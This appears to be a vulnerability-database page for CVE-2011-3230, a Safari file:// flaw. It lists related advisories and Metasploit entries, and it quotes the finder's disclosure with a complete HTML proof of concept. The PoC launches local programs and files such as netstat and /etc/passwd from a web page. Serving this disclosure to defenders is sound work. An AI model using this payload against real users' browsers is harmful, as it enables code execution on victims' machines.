| Reporter | Title | Published | Views | Family All 22 |
|---|---|---|---|---|
| Apple Safari file:// Arbitrary Code Execution | 16 Oct 201100:00 | – | zdt | |
| Safari < 5.1.1 Multiple Vulnerabilities | 12 Oct 201100:00 | – | nessus | |
| Safari < 5.1.1 Multiple Vulnerabilities | 12 Oct 201100:00 | – | nessus | |
| Mac OS X : Apple Safari < 5.1.1 | 13 Oct 201100:00 | – | nessus | |
| CVE-2011-3230 | 17 Oct 201100:00 | – | circl | |
| Apple Safari file URL Arbitrary Code Execution (CVE-2011-3230) | 13 Oct 201100:00 | – | checkpoint_advisories | |
| CVE-2011-3230 | 14 Oct 201110:00 | – | cve | |
| CVE-2011-3230 | 14 Oct 201110:00 | – | cvelist | |
| Apple Safari - 'file://' Arbitrary Code Execution (Metasploit) | 17 Oct 201100:00 | – | exploitdb | |
| Apple Safari file:// Arbitrary Code Execution | 16 Oct 201119:31 | – | metasploit |
`CVE: CVE-2011-3230
Found By: Aaron Sigel of vtty.com
There's not a ton to say about this bug aside from "Yikes"! I think the PoC speaks for itself. This allows you to send any "file:" url to LaunchServices, which will run binaries, launch applications, or open content in the default application, all from a web page. The only caveat is that since LaunchServices will check for the quarantine bit, you cannot directly push a binary to the browser and launch it. Other than that, you can run or launch anything you can access by using the method in the html provided below.
<html>
<head>
<base href="file://">
<script>
function DoIt() {
alert(document.getElementById("cmdToRun").value);
document.location=document.getElementById("cmdToRun").value;
}
</script>
</head>
<body>
<select id="cmdToRun">
<option value="/usr/sbin/netstat">Launch /usr/bin/netstat</option>
<option value="/etc/passwd">Launch /etc/passwd</option>
<option value="/Applications/Utilities/Bluetooth File Exchange.app">
Launch Bluetooth File Exchange.app</option>
</select>
<br />
<input type=button value="Launch" onclick="DoIt()">
<br />
</body>
</html>
Apple's advisory: http://support.apple.com/kb/HT5000
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation